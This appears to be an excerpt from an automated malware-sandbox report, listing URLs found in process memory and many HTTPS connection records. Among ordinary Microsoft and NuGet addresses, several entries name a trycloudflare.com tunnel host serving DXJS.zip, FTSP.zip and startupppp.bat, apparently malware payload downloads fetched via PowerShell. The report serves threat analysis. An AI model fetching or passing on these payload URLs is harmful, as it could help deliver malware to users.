Source: svchost.exe, 00000005.00000003.1744513041.000001BF9A64D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000005.00000002.2981598266.000001BF9A4C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2980708249.000001BF95702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2981392481.000001BF9A42C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.2372811941.000001BF9A3B2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.2981488969.000001BF9A461000.00000004.00000020.00020000.00000000.sdmp, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0/go
Source: svchost.exe, 00000005.00000002.2981488969.000001BF9A461000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0
Source: svchost.exe, 00000005.00000002.2981598266.000001BF9A4C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80P
Source: edb.log.5.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000004.00000002.1793785609.000001E65399B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1793785609.000001E653858000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1773745918.000001E64514A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1943377978.000002299593A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1943377978.0000022995A7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.0000022987226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2058015112.000002D62370A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D614EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000018.00000002.1972812612.000002D613783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1773745918.000001E6437E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.00000229858C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D613551000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000018.00000002.1972812612.000002D613783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1773745918.000001E6437E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.00000229858C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D613551000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000005.00000003.1744513041.000001BF9A6C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000005.00000003.1744513041.000001BF9A6C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000018.00000002.1972812612.000002D613783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1773745918.000001E644412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.00000229864F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D614183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1793785609.000001E65399B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1793785609.000001E653858000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1773745918.000001E64514A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1943377978.000002299593A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1943377978.0000022995A7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.0000022987226000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2058015112.000002D62370A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D614EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2058015112.000002D6235C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 00000005.00000003.1744513041.000001BF9A6C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: powershell.exe, 00000013.00000002.1880841045.0000022983909000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloud
Source: powershell.exe, 00000004.00000002.1773745918.000001E644412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888856354.00000229864F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1972812612.000002D614183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com
Source: powershell.exe, 00000018.00000002.1968442214.000002D611539000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip
Source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip1
Source: AppInstallerPythonRedirector.exe, 0000000D.00000002.1850888488.00000207AD002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/DXJS.zipQ
Source: powershell.exe, 00000004.00000002.1773227846.000001E641837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/DXJS.zipg
Source: powershell.exe, 00000004.00000002.1773227846.000001E6417B0000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000008.00000002.1833310102.0000027257DB9000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000008.00000002.1833408167.00000272596F0000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000A.00000002.1837497540.000001B7B3D02000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000A.00000002.1837137984.000001B7B3C02000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000A.00000002.1837248157.000001B7B3C13000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1844321999.000001FA01102000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1844176704.000001FA01013000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000C.00000002.1848308528.0000023E82302000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000C.00000002.1848196237.0000023E82213000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000C.00000002.1847265553.0000023E82202000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000D.00000002.1850888488.00000207AD002000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000D.00000002.1850927813.00000207AD013000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000D.00000002.1851030273.00000207AD102000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000E.00000002.1854441149.000001E42B702000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000E.00000002.1853677931.000001E42B613000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000F.00000002.1857688206.000001EFBD213000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000F.00000002.1857869000.000001EFBD302000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 00000010.00000002.1860096088.000001A52BC13000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 00000010.00000002.1860256285.000001A52BD02000.00000004.00000020.00020000.00000000.sdmp, timeout.exe, 00000012.00000002.1862248290.000002219A4F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip
Source: powershell.exe, 00000018.00000002.1968442214.000002D611539000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip.
Source: powershell.exe, 00000004.00000002.1773227846.000001E6417D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip7
Source: AppInstallerPythonRedirector.exe, 0000000B.00000002.1844125473.000001FA01002000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000E.00000002.1853634957.000001E42B602000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000F.00000002.1857616346.000001EFBD202000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 00000010.00000002.1860041488.000001A52BC02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipD
Source: AppInstallerPythonRedirector.exe, 0000000C.00000002.1848196237.0000023E82213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipHOMEDRIVE
Source: AppInstallerPythonRedirector.exe, 0000000A.00000002.1837248157.000001B7B3C13000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000B.00000002.1844176704.000001FA01013000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000D.00000002.1850927813.00000207AD013000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000E.00000002.1853677931.000001E42B613000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 0000000F.00000002.1857688206.000001EFBD213000.00000004.00000020.00020000.00000000.sdmp, AppInstallerPythonRedirector.exe, 00000010.00000002.1860096088.000001A52BC13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipHOMEDRIVE0
Source: powershell.exe, 00000013.00000002.1882253266.0000022983C54000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888236540.0000022985573000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2068297007.000002D62B61D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611866000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968308862.000002D611513000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 00000004.00000002.1773227846.000001E641837000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipV
Source: powershell.exe, 00000013.00000002.1880841045.0000022983909000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipYxm
Source: powershell.exe, 00000004.00000002.1773227846.000001E6417B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/FTSP.zipm
Source: powershell.exe, 00000004.00000002.1773526983.000001E641A84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/dxjs.zip
Source: powershell.exe, 00000018.00000002.2071459550.000002D62B6E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/ftsp.zip
Source: powershell.exe, 00000013.00000002.1888856354.0000022986EB2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968442214.000002D6115BA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968308862.000002D611513000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611864000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968442214.000002D611539000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat
Source: powershell.exe, 00000018.00000002.1968442214.000002D611539000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat8
Source: powershell.exe, 00000018.00000002.2071539198.000002D62B7C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat?
Source: powershell.exe, 00000013.00000002.1882253266.0000022983C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/startupppp.batCommonProgr
Source: powershell.exe, 00000018.00000002.2071539198.000002D62B7F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/startupppp.batCommonProgramFiles=
Source: powershell.exe, 00000013.00000002.1882253266.0000022983C54000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1888236540.0000022985573000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2068297007.000002D62B61D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611866000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1968308862.000002D611513000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1971214927.000002D611864000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/startupppp.batCommonProgramFiles=C:
Source: powershell.exe, 00000013.00000002.1949905128.000002299D96F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ride-fatal-italic-information.trycloudflare.com/startupppp.batjf

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
